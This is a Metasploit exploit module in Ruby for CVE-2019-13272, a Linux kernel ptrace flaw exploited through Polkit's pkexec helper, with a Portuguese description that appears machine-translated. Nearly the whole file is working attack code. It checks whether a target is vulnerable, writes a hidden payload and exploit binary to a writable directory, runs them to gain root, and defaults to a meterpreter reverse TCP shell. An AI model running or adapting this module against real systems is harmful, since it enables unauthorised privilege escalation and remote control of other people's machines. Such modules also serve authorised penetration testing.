Linux Polkit – pkexec helper PTRACE_TRACEME local root (Metasploit)
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::Kernel
include Msf::Post::Linux::System
include Msf::Post::Linux::Compile
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Linux Polkit pkexec helper PTRACE_TRACEME local root exploit',
'Description' => %q{
Este módulo explora um problema no ptrace_link no kernel / ptrace.c antes do Linux
kernel 5.1.17. Esse problema pode ser explorado em um terminal de desktop Linux, mas
durante uma sessão SSH, pois requer execução de dentro do contexto de
um usuário com um agente Polkit ativo.
No kernel do Linux anterior à 5.1.17, o ptrace_link no kernel / ptrace.c manipula incorretamente
a gravação das credenciais de um processo que deseja criar um ptrace
relacionamento, que permite que usuários locais obtenham acesso root aproveitando
determinados cenários com um relacionamento de processo pai-filho, em que um pai descarta
privilégios e chamadas execve (potencialmente permitindo o controle por um invasor). 1
O fator contribuinte é um problema de duração do objeto (que também pode causar pânico).
Outro fator contribuinte é a marcação incorreta de um relacionamento ptrace como
privilegiado, que é explorável através (por exemplo) do auxiliar pkexec do Polkit
com
PTRACE_TRACEME.
},
'License' => MSF_LICENSE,
'Author' => [
'Jann Horn',
'bcoles',
'timwr',
],
'References' => [
['CVE', '2019-13272'],
['EDB', '47133'],
['PACKETSTORM', '153663'],
['URL', 'https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272'],
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1903'],
],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X64 ],
'Targets' => [[ 'Auto', {} ]],
'DefaultOptions' =>
{
'Payload' => 'linux/x64/meterpreter/reverse_tcp',
'PrependFork' => true,
},
'DisclosureDate' => 'Jul 4 2019'))
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
def check
release = kernel_release
v = Gem::Version.new release.split('-').first
if v >= Gem::Version.new('5.1.17') || v < Gem::Version.new('3')
vprint_error "Kernel version #{release} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Kernel version #{release} appears to be vulnerable"
unless command_exists? 'pkexec'
vprint_error 'pkexec is not installed'
return CheckCode::Safe
end
vprint_good 'pkexec is installed'
arch = kernel_hardware
unless arch.include? 'x86_64'
vprint_error "System architecture #{arch} is not supported"
return CheckCode::Safe
end
vprint_good "System architecture #{arch} is supported"
loginctl_output = cmd_exec('loginctl --no-ask-password show-session "$XDG_SESSION_ID" | grep Remote')
if loginctl_output =~ /Remote=yes/
print_warning 'This is exploit requires a valid policykit session (it cannot be executed over ssh)'
return CheckCode::Safe
end
CheckCode::Appears
end
def exploit
if is_root? && !datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
unless check == CheckCode::Appears
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
unless writable? datastore['WritableDir']
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
end
payload_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
upload_and_chmodx(payload_file, generate_payload_exe)
register_file_for_cleanup(payload_file)
exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
if live_compile?
vprint_status 'Live compiling exploit on system...'
upload_and_compile exploit_file, exploit_data('CVE-2019-13272', 'poc.c')
else
vprint_status 'Dropping pre-compiled exploit on system...'
upload_and_chmodx exploit_file, exploit_data('CVE-2019-13272', 'exploit')
end
register_file_for_cleanup(exploit_file)
print_status("Executing exploit '#{exploit_file}'")
result = cmd_exec("echo #{payload_file} | #{exploit_file}")
print_status("Exploit result:\n#{result}")
end
end